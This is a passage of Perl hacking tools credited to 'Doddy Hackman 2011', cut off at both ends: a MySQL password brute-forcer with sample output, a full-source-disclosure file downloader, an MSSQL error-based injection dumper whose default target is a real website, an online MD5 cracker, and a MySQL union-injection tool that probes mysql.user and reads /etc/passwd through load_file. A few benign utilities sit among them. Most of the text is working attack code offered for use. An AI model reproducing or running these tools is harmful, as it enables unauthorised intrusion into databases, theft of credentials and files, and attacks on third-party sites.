for my $pass(@words) {
if (my $now = DBI->connect($target,$_[1],$pass,{PrintError=>0})) {
print "\a\a\n[+] Cracked !!!\n\n";
print "[Host] : ".$_[0]."\n";
print "[User] : ".$_[1]."\n";
print "[Password] : ".$pass."\n";
copyright();
}
}
print "\n[-] Sorry , Not Found\n";
}
sub head {
print "\n\n -- == Mysql Cracker == --\n\n";
}
sub copyright {
print "\n\n -- == (C) Doddy Hackman 2011\n\n";
exit(1);
}
sub sintax {
print "\n[+] Sintax : $0 <host> <user> <wordlist>\n";
}
sub repes {
foreach $test(@_) {
push @limpio,$test unless $repe{$test}++;
}
return @limpio;
}
head();
unless(@ARGV < 3) {
now($ARGV[0],$ARGV[1],$ARGV[2]);
} else {
sintax();
}
copyright();
# ¿ The End ?
C:\Documents and Settings\Administrador\Escritorio\Todo\Warfactory II\proyectos\
mysqlcrack>mycrack.pl localhost root c:/aca.txt
-- == Mysql Cracker == --
[+] Target : localhost
[+] Wordlist : c:/aca.txt
[+] Words Found : 7
[+] Cracked !!!
[Host] : localhost
[User] : root
[Password] : root
-- == (C) Doddy Hackman 2011 == --
#!usr/bin/perl
#FSD Exploit Manager (C) Doddy Hackman 2011
use LWP::UserAgent;
use URI::Split qw(uri_split);
use File::Basename;
my $nave = LWP::UserAgent->new;
$nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
$nave->timeout(5);
$SIG{INT} = \&adios;
head();
if($ARGV[0]) {
ver($ARGV[0]);
} else {
sintax();
}
copyright();
sub ver {
my $page = shift;
print "\n[+] Target : ".$page."\n\n";
my ($scheme, $auth, $path, $query, $frag) = uri_split($page);
if ($path=~/\/(.*)$/) {
my $me = $1;
$code1 = toma($page.$me);
if ($code1=~/header\((.*)Content-Disposition: attachment;/ig) {
print "[+] Full Source Discloure Detect\a\n";
$code2 = toma($page."'");
if ($code2=~/No such file or directory in <b>(.*)<\/b> on line/) {
print "\n[+] Full Path Dislocure Detect : ".$1."\n";
}
installer();
while(1) {
print "\n\nurl>";
$SIG{INT} = \&adios;
chomp(my $url = <stdin>);
if (download($page.$url,"fsdlogs/".basename($url))) {
print "\n\n[+] File Downloaded\n";
system("start fsdlogs/".basename($url));
}
}
} else {
print "[-] Web not vulnerable\n\n";
}
}
}
sub adios {
print "\n\n[+] Good Bye\n";
copyright();
}
sub head {
print "\n\n-- == FSD Exploit Manager == --\n\n";
}
sub copyright {
print "\n\n-- == (C) Doddy Hackman 2011 == --\n\n";
exit(1);
}
sub sintax {
print "\n[+] Sintax : $0 <page>\n";
}
sub toma {
return $nave->get($_[0])->content;
}
sub download {
if ($nave->mirror($_[0],$_[1])) {
if (-f $_[1]) {
return true;
}}}
sub installer {
unless (-d "fsdlogs/") {
mkdir("fsdlogs/","777");
}}
# ¿ The End ?
C:\Documents and Settings\Administrador\Escritorio\Todo\Warfactory II\proyectos\
FSD Exploit Manager>fsd.pl http://localhost/down.php?down=
-- == FSD Exploit Manager == --
[+] Target : http://localhost/down.php?down=
[+] Full Source Discloure Detect
[+] Full Path Dislocure Detect : C:\xampp\htdocs\down.php
url>c:/aca.txt
[+] File Downloaded
url>c:/aca.txt
[+] File Downloaded
[+] Good Bye
-- == (C) Doddy Hackman 2011 == --

#!usr/bin/perl
#Proxy Tester (C) Doddy Hackman 2011
use Tk;
use Tk::FileSelect;
use LWP::UserAgent;
if ($^O eq 'MSWin32') {
use Win32::Console;
Win32::Console::Free();
}
my $nave = LWP::UserAgent->new;
$nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
$nave->timeout(5);
my $new = MainWindow->new();
$new->title("Proxy Tester v0.1 (C) Doddy Hackman 2011");
$new->geometry("390x330+50+50");
$new->resizable(0,0);
$new->Label(-text=>"File : ",-font=>"Impact1")->place(-y=>10,-x=>10);
my $filex = $new->Entry(-width=>40)->place(-y=>13,-x=>50);
$new->Button(-text=>"Browse",-width=>10,-command=>\&bro)->place(-y=>10,-x=>300);
$new->Label(-text=>"Proxy OK")->place(-y=>50,-x=>65);
my $proxy_buenos = $new->Listbox()->place(-y=>"80",-x=>"40");
$new->Label(-text=>"Proxy Failed")->place(-y=>50,-x=>230);
my $proxy_malos = $new->Listbox()->place(-y=>"80",-x=>"200");
$new->Button(-text=>"Scan",-width=>64,-command=>\&scan)->place(-y=>255);
$new->Button(-text=>"About",-width=>64,-command=>\&about)->place(-y=>277);
$new->Button(-text=>"Exit",-width=>64,-command=>\&ex)->place(-y=>299);
MainLoop;
sub bro {
$new->update;
$browse = $new->FileSelect(-directory => "/");
my $file = $browse->Show;
$filex->configure (-text =>$file);
}
sub scan {
$proxy_buenos->delete(0.0,"end");
$proxy_malos->delete(0.0,"end");
my $archivo = $filex->get;
open(FILE,$archivo);
my @lineasa = <FILE>;
close FILE;
chomp @lineasa;
my @lineas = repes(@lineasa);
chomp @lineas;
for my $pro(@lineas) {
chomp $pro;
print $pro."\n";
$new->update;
$nave->proxy("http",$pro);
my $test = $nave->get("http://127.0.0.1/"); #Mod
if ($test->is_success) {
$proxy_buenos->insert("end",$pro);
} else {
$proxy_malos->insert("end",$pro);
}
}
}
sub about {
my $venta = MainWindow->new();
$venta->geometry("300x180+20+20");
$venta->title("About");
$venta->resizable(0,0);
$venta->Label(-text=>"\nProxy Tester\n\n\nProgrammer : Doddy Hackman\n\nContact : lepuke[at]hotmail[com]\n\n")->pack();
$venta->Button(-text=>"Exit",-width=>20,-command => [$venta => 'destroy'])->pack()
}
sub ex { exit 1; }
sub repes {
foreach $test(@_) {
push @limpio,$test unless $repe{$test}++;
}
return @limpio;
}
# ¿ The End ?



#!usr/bin/perl
#PasteBin Uploader 0.5 (C) Doddy Hackman 2011
use Tk;
use Tk::FileSelect;
use Win32;
use LWP::UserAgent;
if ($^O eq 'MSWin32') {
use Win32::Console;
Win32::Console::Free();
}
my $nave = LWP::UserAgent->new;
$nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
$nave->timeout(5);
my $logo = MainWindow->new();
$logo->title("PasteBin Uploader 0.5");
$logo->geometry("300x130+20+20");
$logo->resizable(0,0);
$logo->Label(-text=>"Options",-font=>"Impact1")->place(-x=>115,-y=>10);
$logo->Button(-text=>"File",-width=>20,-command=>\&single)->place(-y=>50,-x=>10);
$logo->Button(-text=>"Directory",-width=>20,-command=>\&di)->place(-y=>50,-x=>150);
$logo->Button(-text=>"Show Logs",-width=>20,-command=>\&lognow)->place(-x=>75,-y=>88);
MainLoop;
sub single {
$sin = MainWindow->new();
$sin->title("Pastebin Uploader 0.5 (C) Doddy Hackman 2011");
$sin->geometry("550x80+20+20");
$sin->Label(-text=>"File : ",-font=>"Impact1")->place(-x=>20,-y=>20);
my $filex = $sin->Entry(-width=>50)->place(-y=>25,-x=>65);
$sin->Button(-text=>"Browse",-width=>10,-command=>\&bro)->place(-y=>23,-x=>375);
$sin->Button(-text=>"Upload",-width=>10,-command=>\&singleup)->place(-y=>23,-x=>450);
sub bro {
$sin->update;
$browse = $sin->FileSelect(-directory => "/");
my $file = $browse->Show;
$filex->configure (-text =>$file);
}
sub singleup {
my $file = $filex->get();
chomp $file;
if (-f $file) {
($name,$exta) =verfile($file);
my $ext = extensiones($exta);
if ($ext ne "Yet") {
$code = openfile($file);
$re = lleva($name,$code,$ext);
unless($re=~/Bad API request/ig) {
Win32::MsgBox("Uploaded!!!",0,"PasteBin Uploader");
savefile("uploads_paste.txt","\n[+] File : $file");
savefile("uploads_paste.txt","[+] Link : ".$re);
} else {
Win32::MsgBox("Error uploading",0,"PasteBin Uploader 0.5");
}
}
} else {
Win32::MsgBox("File Error",0,"PasteBin Uploader 0.5");
}
}
}
sub di {
my $more = MainWindow->new();
$more->title("Pastebin Uploader 0.5 (C) Doddy Hackman 2011");
$more->geometry("450x280+50+50");
$more->resizable(0,0);
$more->Label(-text=>"Directory : ",-font=>"Impact1")->place(-y=>10,-x=>10);
my $filex = $more->Entry(-width=>35)->place(-y=>15,-x=>80);
$more->Button(-text=>"Start",-width=>10,-command=>\&multi)->place(-y=>12,-x=>300);
$more->Button(-text=>"Browse",-width=>10,-command=>\&poner)->place(-x=>370,-y=>12);
$more->Label(-text=>"Files")->place(-y=>70,-x=>65);
my $lista_archivos = $more->Listbox(-width=>32)->place(-y=>100,-x=>20);
$more->Label(-text=>"Status")->place(-y=>70,-x=>300);
my $lista_re = $more->Listbox(-width=>32)->place(-y=>100,-x=>230);
sub poner {
my $ven = MainWindow->new();
$ven->title("Choose Directory");
$ven->geometry("300x280+20+20");
$ven->resizable(0,0);
$test = $ven->Scrolled("DirTree",-width=>100,-height=>20,-exportselection=>1,-command=>\&choose)->pack();
sub choose {
$filex->configure(-text=>$_[0]);
$ven->destroy;
}
}
sub multi {
my $dir = $filex->get();
if (-d $dir) {
my @files = verdir($dir);
for my $file(@files) {
chomp $file;
my ($name,$exta) =verfile($file);
my $ext = extensiones($exta);
if ($ext ne "Yet") {
my $code = openfile($dir."/".$file);
$lista_archivos->insert("end",$file);
$logo->update;
$re = lleva($name,$code,$ext);
unless($re=~/Bad API request/ig) {
$lista_re->insert("end","File Uploaded !!");
savefile("uploads_paste.txt","\n[+] File : $file");
savefile("uploads_paste.txt","[+] Link : ".$re);
} else {
$lista_re->insert("end","Error uploading");
}
}
}
} else {
Win32::MsgBox("Directory Error",0,"PasteBin Uploader 0.5");
}
}
}
sub lognow {
if (-f "logs/uploads_paste.txt") {
system("start logs/uploads_paste.txt");
}
}
sub toma {
return $nave->get($_[0])->content;
}
sub savefile {
open (SAVE,">>logs/".$_[0]);
print SAVE $_[1]."\n";
close SAVE;
}
sub tomar {
my ($web,$var) = @_;
return $nave->post($web,[%{$var}])->content;
}
sub verdir{
my @files;
my @archivos;
opendir DIR,$_[0];
my @archivos = readdir DIR;
for (@archivos) {
if (-f $_[0]."/".$_) {
push(@files,$_)
}
}
return @files;
}
sub verfile {
if ($_[0]=~/(.*)\.(.*)/ig) {
return ($1,$2);
}
}
sub extensiones {
if ($_[0] =~/py/ig) {
$code = "python";
}
elsif ($_[0] =~/pl/ig) {
$code = "perl";
}
elsif ($_[0] =~/rb/ig) {
$code = "ruby";
}
elsif ($_[0] =~/php/ig) {
$code = "php";
}
elsif ($_[0] =~/txt/ig) {
$code = "";
}
else {
$code = "Yet";
}
return $code;
}
sub openfile {
my $r;
open (FILE,$_[0]);
@wor = <FILE>;
close FILE;
for(@wor) {
$r.= $_;
}
return $r;
}
sub lleva {
return $nave->post('http://pastebin.com/api_public.php',{ paste_code => $_[1],paste_name=> $_[0],paste_format=>$_[2],paste_expire_date=>'N',paste_private=>"public",submit=>'submit'})->content;
}
# ¿ The End ?
#!usr/bin/perl
#Mysql Manager Tk (C) Doddy Hackman 2011
#ppm install http://www.bribes.org/perl/ppm/DBI.ppd
use Tk;
use Tk::ROText;
use DBI;
use Win32;
if ($^O eq 'MSWin32') {
use Win32::Console;
Win32::Console::Free();
}
my $nave = MainWindow->new();
$nave->title("Mysql Manager");
$nave->geometry("200x170+20+20");
$nave->resizable(0,0);
$nave->Label(-text=>"Host : ",-font=>"Impact1")->place(-x=>10,-y=>10);
my $host = $nave->Entry(-width=>20,-text=>"localhost")->place(-x=>60,-y=>13);
$nave->Label(-text=>"User : ",-font=>"Impact1")->place(-x=>10,-y=>40);
my $user = $nave->Entry(-width=>20,-text=>"root")->place(-x=>60,-y=>43);
$nave->Label(-text=>"Pass : ",-font=>"Impact1")->place(-x=>10,-y=>70);
my $pass = $nave->Entry(-width=>20)->place(-x=>60,-y=>73);
$nave->Button(-text=>"Connect",-width=>13,-command=>\&now)->place(-x=>60,-y=>120);
MainLoop;
sub now {
my $host = $host->get;
my $user = $user->get;
my $pass = $pass->get;
$info = "dbi:mysql::".$host.":3306";
if (my $enter = DBI->connect($info,$user,$pass,{PrintError=>0})) {
$nave->destroy;
my $man = MainWindow->new();
$man->title("Mysql Manager (C) Doddy Hackman 2011");
$man->geometry("350x290+20+20");
$man->resizable(0,0);
$man->Label(-text=>"Query : ",-font=>"Impact1")->place(-x=>10,-y=>10);
my $ac = $man->Entry(-width=>30)->place(-x=>70,-y=>15);
$man->Button(-width=>8,-text=>"Execute",-command=>\&tes)->place(-x=>267,-y=>13);
my $out = $man->ROText(-width=>44,-height=>15)->place(-x=>13,-y=>55);
sub tes {
my $ac = $ac->get;
$re = $enter->prepare($ac);
$re->execute();
my $total = $re->rows();
my @columnas = @{$re->{NAME}};
if ($total eq "-1") {
$out->insert("end","\n[-] Query Error\n");
next;
} else {
$out->insert("end","\n[+] Result of the query\n");
if ($total eq 0) {
$out->insert("end","\n[+] Not rows returned\n\n");
} else {
$out->insert("end","\n[+] Rows returned : ".$total."\n\n");
for(@columnas) {
$out->insert("end",$_."\t");
}
$out->insert("end","\n\n");
while (@row = $re->fetchrow_array) {
for(@row) {
$out->insert("end",$_."\t");
}
$out->insert("end","\n");
}}}}
} else {
Win32::MsgBox("Error in the connection",0,"Mysql Manager");
}}
# ¿ The End ?

#!usr/bin/perl
#MSSQL T00l (C) Doddy Hackman 2011
use Tk;
use LWP::UserAgent;
use URI::Split qw(uri_split);
use Win32;
if ($^O eq 'MSWin32') {
use Win32::Console;
Win32::Console::Free();
}
my $nave = LWP::UserAgent->new();
$nave->timeout(5);
$nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
my $logo = MainWindow->new();
$logo->title("MSSQL T00l (C) Doddy Hackman 2011");
$logo->geometry("491x390+20+20");
$logo->resizable(0,0);
$logo->Label(-text=>"Target : ",-font=>"Impact1")->place(-x=>25,-y=>20);
my $targetero = $logo->Entry(-width=>50,-text=>"http://www.12manage.com/profile.asp?m=drarupbarman")->place(-y=>23,-x=>90);
$logo->Button(-text=>"Test",-width=>8,-command=>\&start)->place(-y=>20,-x=>400);
$logo->Label(-text=>"Options",-font=>"Impact1")->place(-x=>210,-y=>70);
$logo->Button(-text=>"Get Tables",-width=>13,-command=>\&getables)->place(-y=>110,-x=>57);
$logo->Button(-text=>"Get Columns",-width=>13,-command=>\&getcol)->place(-y=>110,-x=>144);
$logo->Button(-text=>"Dump values",-width=>15,-command=>\&getdata)->place(-y=>110,-x=>231);
$logo->Button(-text=>"Show Logs",-width=>15,-command=>\&otherax)->place(-y=>110,-x=>330);
$logo->Label(-text=>"Tables",-font=>"Impact1")->place(-y=>200,-x=>60);
$logo->Label(-text=>"Columns",-font=>"Impact1")->place(-y=>200,-x=>190);
$logo->Label(-text=>"Data",-font=>"Impact1")->place(-y=>200,-x=>330);
my $tablero = $logo->Listbox(-width=>20)->place(-y=>230,-x=>40);
my $columnero = $logo->Listbox(-width=>20)->place(-y=>230,-x=>180);
my $datero = $logo->Listbox(-width=>20)->place(-y=>230,-x=>320);
MainLoop;
sub start {
my $page = $targetero->get;
my $save = comer($page);
$code = toma($page."'");
if ($code=~/ODBC SQL Server Driver/ig or $code=~/Microsoft OLE DB Provider/ig) {
savefile($save.".txt","\n\n[+] Page : $page\n");
Win32::MsgBox("[+] The page is vulnerable to MSSQL Injection",0,"MSSQL T00l");
} else {
Win32::MsgBox("[-] Not vulnerable",0,"MSSQL T00l");
}
}
sub getables {
$tablero->delete("0.0","end");
$columnero->delete("0.0","end");
$datero->delete("0.0","end");
my $page = $targetero->get;
my $save = comer($page);
savefile($save.".txt","\n");
($pass1,$pass2) = bypass("--");
my $sir;
for (1..666) {
$logo->update;
$path = $pass1."and".$pass1."1=convert(int,("."select".$pass1."top".$pass1."1".$pass1."table_name".$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_name".$pass1."not".$pass1."in".$pass1."(''$sir)))".$pass2;
#print "$path\n";
$code = toma($page.$path);
if ($code=~/value '(.*?)' to/ig) {
$sir.= ",'".$1."'";
$logo->update;
savefile($save.".txt","[+] Table : ".$1);
$tablero->insert("end",$1);
} else {
$logo->update;
Win32::MsgBox("[+] Finished",0,"MSSQL T00l");
last;
}
}
}
sub getcol {
$columnero->delete("0.0","end");
my $page = $targetero->get;
my $save = comer($page);
savefile($save.".txt","\n");
$d = $tablero->curselection();
for my $id (@$d) {
my $table = $tablero->get($id);
savefile($save.".txt","[+] Table extract : ".$table."\n");
($pass1,$pass2) = bypass("--");
my $sir;
for (1..666) {
$logo->update;
$path = $pass1."and".$pass1."1=convert(int,("."select".$pass1."top".$pass1."1".$pass1."column_name".$pass1."from".$pass1."information_schema.columns".$pass1."where".$pass1."table_name="."'".$table."'".$pass1."and".$pass1."column_name".$pass1."not".$pass1."in".$pass1."(''$sir)))".$pass2;
$code = toma($page.$path);
if ($code=~/value '(.*?)' to/ig) {
$sir.= ",'".$1."'";
savefile($save.".txt","[+] Column : ".$1);
$columnero->insert("end",$table.".".$1);
} else {
$logo->update;
Win32::MsgBox("[+] Finished",0,"MSSQL T00l");
last;
}
}
}
}
sub getdata {
$datero->delete("0.0","end");
my $page = $targetero->get;
my $save = comer($page);
savefile($save.".txt","\n");
$d = $columnero->curselection();
for my $id (@$d) {
my $tablex = $columnero->get($id);
savefile($save.".txt","[+] Dump : ".$tablex."\n");
if ($tablex=~/(.*)\.(.*)/) {
my $table = $1;
my $c = $2;
($pass1,$pass2) = bypass("--");
my $sir;
for (1..666) {
$logo->update;
$path = $pass1."and".$pass1."1=convert(int,("."select".$pass1."top".$pass1."1".$pass1.$c.$pass1."from".$pass1.$table.$pass1."where".$pass1.$c.$pass1."not".$pass1."in".$pass1."(''$sir)))".$pass2;
#print "$path\n";
$code = toma($page.$path);
if ($code=~/value '(.*?)' to/ig) {
$sir.= ",'".$1."'";
savefile($save.".txt","[+] $c : ".$1);
$datero->insert("end",$1);
} else {
$logo->update;
Win32::MsgBox("[+] Finished",0,"MSSQL T00l");
last;
}
}
}
}
}
sub otherax {
my $page = $targetero->get;
my $file = comer($page);
system("start logs/webs/$file".".txt");
}
sub toma {
return $nave->get($_[0])->content;
}
sub savefile {
open (SAVE,">>logs/webs/".$_[0]);
print SAVE $_[1]."\n";
close SAVE;
}
sub comer {
my ($scheme, $auth, $path, $query, $frag) = uri_split($_[0]);
return $auth;
}
sub bypass {
if ($_[0] eq "/*") { return ("/**/","/*"); }
elsif ($_[0] eq "%20") { return ("%20","%00"); }
else {return ("+","--");}}
# ¿ The End ?



#!usr/bin/perl
#MD5 Crack T00l (C) Doddy Hackman 2011
use Tk;
use Tk::FileSelect;
use LWP::UserAgent;
use Win32;
if ($^O eq 'MSWin32') {
use Win32::Console;
Win32::Console::Free();
}
my $nave = LWP::UserAgent->new;
$nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
$nave->timeout(5);
my $logo = MainWindow->new();
$logo->title("MD5 Crack T00l");
$logo->geometry("300x100+20+20");
$logo->resizable(0,0);
$logo->Label(-text=>"Options",-font=>"Impact1")->place(-x=>110,-y=>10);
$logo->Button(-text=>"Crack HAsh",-width=>20,-command=>\&single)->place(-y=>50,-x=>10);
$logo->Button(-text=>"Crack Wordlist",-width=>20,-command=>\&word)->place(-y=>50,-x=>150);
MainLoop;
sub single {
my $sin = MainWindow->new();
$sin->title("MD5 Crack T00l (C) Doddy Hackman 2011");
$sin->geometry("650x80+20+20");
$sin->resizable(0,0);
$sin->Label(-text=>"MD5 : ",-font=>"Impact1")->place(-x=>30,-y=>20);
my $hash = $sin->Entry(-width=>32)->place(-y=>24,-x=>82);
$sin->Label(-text=>"Result : ",-font=>"Impact1")->place(-x=>290,-y=>20);
my $result = $sin->Entry(-width=>32)->place(-y=>24,-x=>350);
$sin->Button(-text=>"Crack",-command=>\&cracksingle,-width=>12)->place(-y=>22,-x=>555);
sub cracksingle {
my $target = $hash->get();
chomp $target;
if (ver_length($target)) {
$re = crackit($target);
if ($re ne "false01") {
$result->configure (-text =>$re);
} else {
$result->configure (-text =>"Not Found");
}
} else {
Win32::MsgBox("Eso no es un hash",0,"MD5 Crack T00l");
}
}
}
sub word {
my $more = MainWindow->new();
$more->title("MD5 Crack T00l (C) Doddy Hackman 2011");
$more->geometry("450x280+50+50");
$more->resizable(0,0);
$more->Label(-text=>"File : ",-font=>"Impact1")->place(-y=>10,-x=>10);
my $filex = $more->Entry(-width=>40)->place(-y=>13,-x=>50);
$more->Button(-text=>"Crack",-width=>10,-command=>\&crackmulti)->place(-y=>12,-x=>300);
$more->Button(-text=>"Browse",-width=>10,-command=>\&bro)->place(-x=>370,-y=>12);
$more->Label(-text=>"MD5")->place(-y=>70,-x=>65);
my $hashes = $more->Listbox(-width=>32)->place(-y=>100,-x=>20);
$more->Label(-text=>"Result")->place(-y=>70,-x=>300);
my $resultados = $more->Listbox(-width=>32)->place(-y=>100,-x=>230);
sub bro {
$more->update;
$browse = $more->FileSelect(-directory => "/");
my $file = $browse->Show;
$filex->configure (-text =>$file);
}
sub crackmulti {
$hashes->delete(0.0,"end");
$resultados->delete(0.0,"end");
my $archivo = $filex->get();
open(FILE,$archivo);
@leer = <FILE>;
close FILE;
chomp @leer;
my @leera = repes(@leer);
for my $poco(@leera) {
chomp $poco;
if (ver_length($poco)) {
$hashes->insert("end",$poco);
$re = crackit($poco);
if ($re ne "false01") {
$resultados->insert("end",$re);
} else {
$resultados->insert("end","Not Found");
}
}
}
sub repes {
foreach $test(@_) {
push @limpio,$test unless $repe{$test}++;
}
return @limpio;
}
}
}
sub crackit {
my %hash = (
'http://passcracking.com/' => {
'tipo' => 'post',
'variables'=>'{"datafromuser" => $_[0], "submit" => "DoIT"}',
'regex'=>'<\/td><td>md5 Database<\/td><td>$_[0]<\/td><td bgcolor=#FF0000>(.*)<\/td><td>',
},
'http://md5.hashcracking.com/search.php?md5=' => {
'tipo' => 'get',
'regex' => 'Cleartext of $_[0] is (.*)',
},
'http://www.bigtrapeze.com/md5/' => {
'tipo' => 'post',
'variables'=>'{"query" => $_[0], "submit" => " Crack "}',
'regex' => 'The hash <strong>$_[0]<\/strong> has been deciphered to: <strong>(.+)<\/strong>',
},
'http://opencrack.hashkiller.com/' => {
'tipo' => 'post',
'variables'=>'{"oc_check_md5" => $_[0], "submit" => "Search MD5"}',
'regex' => qq(<\/div><div class="result">$_[0]:(.+)<br\/>),
},
'http://www.hashchecker.com/index.php?_sls=search_hash' => {
'tipo' => 'post',
'variables'=>'{"search_field" => $_[0], "Submit" => "search"}',
'regex' => '<td><li>Your md5 hash is :<br><li>$_[0] is <b>(.*)<\/b> used charl',
},
'http://victorov.su/md5/?md5e=&md5d=' => {
'tipo' => 'get',
'regex' => qq(MD5 ðàñøèôðîâàí: <b>(.*)<\/b><br><form action=\"\">),
}
);
for my $data(keys %hash) {
$logo->update; #
if ($hash{$data}{tipo} eq "get") {
$code = toma($data.$_[0]);
if ($code=~/$hash{$data}{regex}/ig) {
savefile("hashes-found.txt",$_[0].":".$1);
return $1;
}
} else {
$code = tomar($data,$hash{$data}{variables});
if ($code=~/$hash{$data}{regex}/ig) {
savefile("hashes-found.txt",$_[0].":".$1);
return $1;
}
}
}
return "false01";
}
sub ver_length {
return true if length($_[0]) == 32;
}
sub toma {
return $nave->get($_[0])->content;
}
sub savefile {
open (SAVE,">>logs/".$_[0]);
print SAVE $_[1]."\n";
close SAVE;
}
sub tomar {
my ($web,$var) = @_;
return $nave->post($web,[%{$var}])->content;
}
# ¿ The End ?


#!usr/bin/perl
#K0bra 1.0 (C) Doddy Hackman 2011
use Tk;
use Tk::ROText;
use LWP::UserAgent;
use URI::Split qw(uri_split);
use Win32;
my $bypass = "--";
my $save = "";
if ($^O eq 'MSWin32') {
use Win32::Console;
Win32::Console::Free();
}
my $nave = LWP::UserAgent->new();
$nave->timeout(5);
$nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
my $logo = MainWindow->new();
$logo->title("k0bra 1.0 (C) Doddy Hackman 2011");
$logo->geometry("500x510+20+20");
$logo->resizable(0,0);
$logo->Label(-text=>"Target : ",-font=>"Impact1")->place(-x=>25,-y=>20);
my $targetero = $logo->Entry(-width=>50,-text=>"http://127.0.0.1/sql.php?id=")->place(-y=>23,-x=>90);
$logo->Button(-text=>"Scan",-width=>10,-command=>\&start)->place(-y=>20,-x=>400);
$logo->Label(-text=>"Options",-font=>"Impact1")->place(-x=>210,-y=>70);
$logo->Button(-text=>"Get DBS",-width=>10,-command=>\&getdbs)->place(-y=>110,-x=>40);
$logo->Button(-text=>"Get Tables",-width=>10,-command=>\&schematablesdb)->place(-y=>110,-x=>120);
$logo->Button(-text=>"Get Columns",-width=>10,-command=>\&schemacolumnsdb)->place(-y=>110,-x=>200);
$logo->Button(-text=>"mysql users",-width=>15,-command=>\&mynow)->place(-y=>110,-x=>280);
$logo->Button(-text=>"load_file",-width=>10,-command=>\&myfile)->place(-y=>110,-x=>390);
$logo->Button(-text=>"Dump",-width=>10,-command=>\&dum)->place(-y=>150,-x=>90);
$logo->Button(-text=>"Hex",-width=>10,-command=>\&per1)->place(-y=>150,-x=>170);
$logo->Button(-text=>"ASCII",-width=>15,-command=>\&per2)->place(-y=>150,-x=>250);
$logo->Button(-text=>"Show Logs",-width=>10,-command=>\&china)->place(-y=>150,-x=>360);
$logo->Label(-text=>"Details : ",-font=>"Impact1")->place(-y=>230,-x=>90);
my $informatero = $logo->Listbox(-height=>5,-width=>40)->place(-y=>210,-x=>160);
$logo->Label(-text=>"Databases",-font=>"Impact1")->place(-y=>320,-x=>60);
$logo->Label(-text=>"Tables",-font=>"Impact1")->place(-y=>320,-x=>190);
$logo->Label(-text=>"Columns",-font=>"Impact1")->place(-y=>320,-x=>330);
my $datero = $logo->Listbox(-width=>20)->place(-y=>350,-x=>40);
my $tablero = $logo->Listbox(-width=>20)->place(-y=>350,-x=>180);
my $columnero = $logo->Listbox(-width=>20)->place(-y=>350,-x=>320);
MainLoop;
sub start {
$informatero->delete("0.0","end");
$datero->delete("0.0","end");
$tablero->delete("0.0","end");
$columnero->delete("0.0","end");
my $tengo = $targetero->get;
my ($gen,$save,$control) = &length($tengo,"--");
if ($control eq 1) {
$logo->update;
$targetero->configure(-text=>$gen);
details($gen,$bypass,$save);
} else {
Win32::MsgBox("Not found length columns",0,"K0bra 1.0");
}
}
sub length {
my $rows = "0";
my $asc;
my $page = $_[0];
($pass1,$pass2) = &bypass($_[1]);
$inyection = $page."1".$pass1."and".$pass1."1=0".$pass1."order".$pass1."by"."9999999999".$pass2;
$code = toma($inyection);
$logo->update;
if ($code=~ /supplied argument is not a valid MySQL result resource in <b>(.*)<\/b> on line /ig || $code=~ /mysql_free_result/ig || $code =~ /mysql_fetch_assoc/ig ||$code =~ /mysql_num_rows/ig || $code =~ /mysql_fetch_array/ig || $code =~/mysql_fetch_assoc/ig || $code=~/mysql_query/ig || $code=~/mysql_free_result/ig || $code=~/equivocado en su sintax/ig || $code=~/You have an error in your SQL syntax/ig || $code=~/Call to undefined function/ig) {
$logo->update;
my $testar1 = toma($page."1".$pass1."and".$pass1."1=0".$pass2);
my $testar2 = toma($page."1".$pass1."and".$pass1."1=1".$pass2);
unless ($testar1 eq $testar2) {
my $patha = $1;
$logo->update;
chomp $patha;
$alert = "char(".ascii("RATSXPDOWN1RATSXPDOWN").")";
$total = "1";
for my $rows(2..200) {
$logo->update;
$asc.= ","."char(".ascii("RATSXPDOWN".$rows."RATSXPDOWN").")";
$total.= ",".$rows;
$injection = $page."1".$pass1."and".$pass1."1=0".$pass1."union".$pass1."select".$pass1.$alert.$asc;
$test = toma($injection);
if ($test=~/RATSXPDOWN/) {
@number = $test =~m{RATSXPDOWN(\d+)RATSXPDOWN}g;
$control = 1;
my $save = comer($_[0]);
savefile($save.".txt","\n[Target confirmed] : $page");
savefile($save.".txt","[Bypass] : $_[1]\n");
savefile($save.".txt","[Limit] : The site has $rows columns");
savefile($save.".txt","[Data] : The number @number print data");
$informatero->insert("end","[+] The site has $rows columns");
$informatero->insert("end","[+] The number @number print data");
if ($patha) {
savefile($save.".txt","[Full Path Discloure] : $patha");
}
$total=~s/$number[0]/hackman/;
savefile($save.".txt","[SQLI] : ".$page."1".$pass1."and".$pass1."1=0".$pass1."union".$pass1."select".$pass1.$total);
return($page."1".$pass1."and".$pass1."1=0".$pass1."union".$pass1."select".$pass1.$total,$save,$control);
}
}
}
} else {
Win32::MsgBox("Not vulnerable",0,"K0bra 1.0");
next;
}
}
sub details {
my ($page,$bypass,$save) = @_;
($pass1,$pass2) = &bypass($bypass);
savefile($save.".txt","\n");
if ($page=~/(.*)hackman(.*)/ig) {
my ($start,$end) = ($1,$2);
$inforschema = $start."unhex(hex(concat(char(69,82,84,79,82,56,53,52))))".$end.$pass1."from".$pass1."information_schema.tables".$pass2;
$mysqluser = $start."unhex(hex(concat(char(69,82,84,79,82,56,53,52))))".$end.$pass1."from".$pass1."mysql.user".$pass2;
$test3 = toma($start."unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file(0x2f6574632f706173737764))))".$end.$pass2);
$test1 = toma($inforschema);
$test2 = toma($mysqluser);
$informatero->insert("end","");
if ($test2=~/ERTOR854/ig) {
savefile($save.".txt","[mysql.user] : ON");
$informatero->insert("end","[mysql.user] : ON");
} else {
$informatero->insert("end","[mysql.user] : OFF");
savefile($save.".txt","[mysql.user] : OFF");
}
if ($test1=~/ERTOR854/ig) {
$informatero->insert("end","[information_schema.tables] : ON");
savefile($save.".txt","[information_schema.tables] : ON");
} else {
$informatero->insert("end","[information_schema.tables] : OFF");
savefile($save.".txt","[information_schema.tables] : OFF");
}
